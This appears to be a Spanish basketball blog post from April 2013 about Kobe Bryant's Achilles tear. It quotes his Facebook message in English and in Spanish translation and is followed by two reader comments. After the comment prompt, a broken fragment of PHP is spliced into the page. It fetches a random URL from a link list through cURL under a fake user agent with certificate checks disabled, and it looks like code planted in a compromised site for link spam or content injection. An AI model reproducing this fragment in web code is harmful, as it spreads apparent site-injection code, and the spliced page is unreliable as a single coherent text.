Kobe se desahoga en facebook

13 de April de 2013 por MagicJohnson32

A estas alturas, ya sabéis que Kobe Bryant ha sufrido la lesión más grave de sus 17 años de carrera profesional. A la espera de los resultados de la resonancia, que nos permitirá saber más concretamente el alcance del desgarro en el tendón, el tiempo de baja será de entre 6 y 12 meses.

Pocos minutos después de finalizar el partido, con victoria de los Lakers sobre los Warriors, Bryant atendió a los medios visiblemente afectado y a punto de llorar.

Ya en su domicilio, de madrugada, el jugador utilizó su cuenta de facebook para escribir un extenso mensaje en el que expresó sus sentimientos, aseguró que la lesión no supone el final de su carrera e incluso trató de restar importancia a lo sucedido:

This is such BS! All the training and sacrifice just flew out the window with one step that I’ve done millions of times! The frustration is unbearable. The
anger is rage. Why the hell did this happen ?!?
Makes no damn sense. Now I’m supposed to come
back from this and be the same player Or better at 35?!? How in the world am I supposed to do that??
I have NO CLUE. Do I have the consistent will to
overcome this thing? Maybe I should break out the
rocking chair and reminisce on the career that
was. Maybe this is how my book
ends. Maybe Father Time has defeated me…Then again maybe not! It’s 3:30am, my foot feels like
dead weight, my head is spinning from the pain
meds and I’m wide awake. Forgive my Venting
but what’s the purpose of social media if I won’t
bring it to you Real No Image?? Feels good to vent,
let it out. To feel as if THIS is the WORST thing EVER! Because After ALL the venting, a real perspective
sets in. There are far greater issues/challenges in
the world then a torn achilles. Stop feeling sorry for
yourself, find the silver lining and get to work with
the same belief, same drive and same conviction as
ever. One day, the beginning of a new career journey
will commence. Today is NOT that day.
“If you see me in a fight with a bear, prey for the
bear”. Ive always loved that quote. Thats “mamba
mentality” we don’t quit, we don’t cower, we
don’t run. We endure and conquer. I know it’s a long post but I’m Facebook Venting
LOL. Maybe now I can actually get some sleep and
be excited for surgery tomorrow. First step of a
new challenge.
Guess I will be Coach Vino the rest of this season. I
have faith in my teammates. They will come thru. Thank you for all your prayers and support. Much
Love Always.

La traducción al castellano:

“¡Esto es una mierda! ¡Todo el entrenamiento y el sacrificio salen volando por la ventana por un movimiento que he realizado un millón de veces! La frustración es insoportable. El enfado es rabia. ¿Por qué demonios ha pasado esto? No tiene ningún sentido.

¿Ahora se supone que tengo que volver y ser el mismo jugador o mejor a los 35? ¿Cómo se supone que voy a hacerlo? No tengo NI IDEA. ¿Dispongo de la voluntad necesaria para superar esto? Igual debería abandonar y recordar la carrera que tuve. Tal vez sea así como acaba mi libro. Tal vez el Tiempo me haya derrotado… ¡Pero puede que no! Son las 3h30 de la madrugada, siento mi pie como un peso muerto, mi cabeza no para de dar vueltas por los calmantes que he tomado y estoy completamente despierto. Perdonad que me desahogue ¿pero qué sentido tienen las redes sociales si no ofrezco una imagen real de cómo soy? Sienta bien desahogarse, dejar que salga todo. ¡Sentir que esto es lo peor que jamás podía pasarme! Porque después de desahogarme tengo una perspectiva real. Hay cosas y retos más importantes que un Aquiles desgarrado. Deja de compadecerte, encuentra la parte positiva y ponte a trabajar con la misma creencia, decisión y convicción de siempre.

Un día comenzará una nueva carrera, pero hoy NO es ese día.

“Si me ves en una pelea con un oso, reza por el oso”. Siempre me ha encantado esta cita. Ésta es la “mentalidad de la Mamba”, no abandonamos, no nos acobardamos, no huimos. Nos hacemos fuertes y vencemos. Sé que es un mensaje muy largo, pero me estoy desahogando. Jaja. Puede que ahora pueda dormirme y estar emocionado con la operación de mañana. El primer paso de un nuevo reto.

Supongo que seré el Entrenador Vino el resto de la temporada. Tengo fe en mis compañeros. Superarán esto.

Muchas gracias por vuestras plegarias y apoyo. Os quiero. Se despide la Mamba”

El enlace: http://www.facebook.com/permalink.php?story_fbid=538150922898008&id=164693693577068

Comenta

2 comentarios a esta entrada

  1. MagicJohnson32 dice:
    #1

    Os dejo el vídeo con la prensa y el mensaje que escribió Kobe más tarde.

      Citar

  2. Jose Luis dice:
    #2

    Partido SAS-LAL por el primer puesto en la conferencia Oeste, 14 abril 2008, a través de Kobe y con comentarios y explicaciones. Grandísimo video documental de Spike Lee.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>